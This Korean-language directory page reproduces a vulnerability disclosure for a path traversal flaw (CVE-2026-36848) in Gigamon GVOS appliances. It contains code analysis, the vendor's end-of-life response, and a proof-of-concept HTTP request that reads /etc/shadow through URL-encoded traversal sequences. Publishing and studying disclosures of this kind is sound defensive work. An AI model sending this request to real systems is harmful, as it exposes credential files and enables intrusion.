Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-36848 — Gigamon Unauth RCE (CVE-2026-36848) | Kitploit
도구/GitHubGitHub/calligraf0/cve-2026-36848
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingRed Teaming
GitHubcalligraf0/cve-2026-36848

CVE-2026-36848

Gigamon Unauth RCE (CVE-2026-36848)

저장소 보기
1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-36848

Gigamon-VUE OS (GVOS) 어플라이언스의 포트 8089에서 실행되는 웹 기반 관리 엔진에서 심각한 경로 탐색 취약점이 확인되었습니다. 이 결함은 persistd 데몬 내의 레거시 H-VUE 하위 시스템에 존재하며, 서비스에 네트워크 접근 권한이 있는 인증되지 않은 원격 공격자가 루트 권한으로 시스템에서 임의 파일을 읽고 부분 쓰기 작업(기존 파일 덮어쓰기는 불가능)을 수행할 수 있도록 합니다.


1. 취약점 개요

  • CVE ID: CVE-2026-36848
  • 대상 포트: 8089 (TornadoHTTP 웹 애플리케이션)
  • 취약 구성 요소: /opt/tms/persistd_py/persistd.py
  • 취약점 분류: 경로 탐색 (CWE-22)
  • 영향: 임의 파일 읽기 및 부분적 임의 파일 쓰기 (root 사용자 권한으로 실행)

2. 기술적 코드 분석 및 근본 원인

포트 8089에서 실행되는 TornadoHTTP 웹 서비스는 /opt/tms/persistd_py/persistd.py 내에 매핑된 라우팅 구성을 구현합니다. 이 데몬은 데이터베이스 상호 작용 및 구성 백업을 처리하기 위해 여러 경로를 노출합니다:

root@kitploit:~
app = tornado.web.Application([
    (r"/upload(?:/([^/]*))/?", UploadDbFile),
    (r"/download/([^/]+)/?", DownloadDbFile),
    # ... other routes
])

무결화되지 않은 입력 전파

DownloadDbFile 및 UploadDbFile 핸들러는 URI 정규식 캡처 그룹에서 사용자 제공 경로를 직접 사용하고 이를 필터링 없이 하위 수준 유틸리티 함수에 전달합니다.


2.1 파일 다운로드 경로 탐색 (임의 파일 읽기)

클라이언트가 파일 다운로드를 요청하면 GET 핸들러는 download_file 유틸리티를 호출합니다:

root@kitploit:~
class DownloadDbFile(GenericApiHandler):
    @gen.coroutine
    def get(self, file_name):
        # ... [명확성을 위해 검증 단계 생략] ...
        elif file_name is not None:
            msgif = yield download_file(self, file_name)

대상 함수 download_file은 안전한 정규 경로를 확인하는 대신 단순 문자열 연결을 사용하여 요청된 파일을 열려고 시도합니다:

root@kitploit:~
@gen.coroutine
def download_file(caller, file_name):
    buf_size = 4096
    caller.set_header('Content-Type', 'application/octet-stream')
    caller.set_header('Content-Disposition', 'filename=' + file_name)
    msg = 'ok'
    try:
        # 근본 원인: 직접 연결로 인해 탐색 시퀀스를 통한 디렉터리 탈출 가능
        with open(DBFILE_DIR + file_name, 'r') as f:
            while True:
                data = f.read(buf_size)
                if not data:
                    break
                caller.write(data)
    except IOError as ioe:
        msg = ioe
    raise gen.Return(msg)

무결성 필터링(예: ..와 같은 디렉터리 탐색 시퀀스 확인)이 없기 때문에 file_name을 통해 주입된 모든 상대 경로 시퀀스가 DBFILE_DIR에 직접 연결되어 시스템 루트를 기준으로 확인됩니다.


2.2 파일 업로드 경로 탐색 (임의 파일 쓰기)

마찬가지로 데이터베이스 업로드에 사용되는 PUT 핸들러는 요청 본문과 사용자 정의 경로를 upload_file 유틸리티에 직접 전달합니다:

root@kitploit:~
class UploadDbFile(GenericApiHandler):
    @gen.coroutine
    def put(self, path=None):
        # ...
        if path is not None:
            msgif = yield upload_file(self.request.body, path)

upload_file 루틴은 os.path.join을 사용하여 대상 경로를 결정합니다. 그러나 os.path.join이 탐색을 방어한다는 것은 일반적인 보안 오해입니다. 실제로 os.path.join에 전달된 구성 요소가 절대 경로를 나타내거나 상대 탐색 단계를 포함하는 경우 확인된 경로는 기본 디렉터리를 벗어납니다:

root@kitploit:~
@gen.coroutine
def upload_file(body, path):
    msg = 'ok'
    tmp_path = None
    try:
        yield lock.acquire()
        # 취약한 싱크 1: os.path.join은 디렉터리 탐색 시퀀스를 무력화하지 않음
        full_path = os.path.join(DBFILE_DIR, path)
        if os.path.exists(full_path):
            msg = 'dup'
        else:
            tmp_path = full_path + '.tmp'
            old_files = filesInDir(DBFILE_DIR)
            with open(tmp_path, 'wb') as out:
                out.write(bytes(body))
                # 취약한 싱크 2: rename 작업은 안전하지 않은 문자열 연결을 수행
                os.rename(tmp_path, DBFILE_DIR + path)

이러한 구조적 입력 무결성 부족으로 인해 공격자는 탐색 단계가 포함된 경로를 제공하여 서비스가 데몬을 실행하는 루트 사용자 컨텍스트의 권한으로 DBFILE_DIR 경계 밖의 임의 파일을 쓸 수 있습니다.


3. 개념 증명 (PoC)

공격자가 경로 구분 기호를 URL 인코딩(/를 %2F로)하면 라우팅 엔진이 시퀀스를 원활하게 디코딩 및 평가하여 표준 경로 제한을 우회합니다.

임의 파일 읽기 (PoC 요청)

root@kitploit:~
GET /download/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow HTTP/1.1
Host: <target_ip>:8089
Accept: /

4. 수정 사항 및 공식 벤더 응답

다음은 이 취약점과 관련하여 벤더가 제공한 공식 성명 및 업그레이드 지침입니다:

이 CVE의 문제는 H-VUE 하위 시스템에만 존재했습니다. GVOS 6 버전은 H-VUE 하위 시스템을 완전히 제거했으며, GVOS 5.16.1이 이를 포함한 마지막 버전입니다. 버전 5.16.1은 2023년 5월 26일에 지원이 종료되었습니다. 현재 지원되는 GVOS 버전에는 이 취약점이 포함되어 있지 않습니다.

지원되는 버전 및 지원 종료 날짜를 문서화하는 GVOS 지원 매트릭스는 다음에서 확인할 수 있습니다: https://www.gigamon.com/content/dam/customer-portal/MS-Software-Versions-7181.pdf

Gigamon의 판매 종료 및 수명 종료 정책은 다음에서 확인할 수 있습니다: https://www.gigamon.com/support/policies/eol-policy.html

어떤 Gigamon 프로덕션 환경도 지원되지 않는 소프트웨어 버전을 실행해서는 안 됩니다(NIST SP 800-53 SA-22 "지원되지 않는 시스템 구성 요소"). 만약 그렇게 하고 있다면, Gigamon은 가능한 한 빨리 지원되는 릴리스로 업그레이드할 것을 강력히 권장합니다. 지원 대상 고객은 Gigamon 커뮤니티 포털에서 업그레이드된 GVOS 버전을 받을 수 있습니다. 지원 대상이 아닌 고객은 Gigamon에 연락하여 지원 옵션을 논의하시기 바랍니다: https://www.gigamon.com/contact-sales.html


이 공개 과정에서 모범적인 조정을 보여준 Gigamon 제품 보안 및 엔지니어링 팀에 감사를 표합니다.

도구 다운로드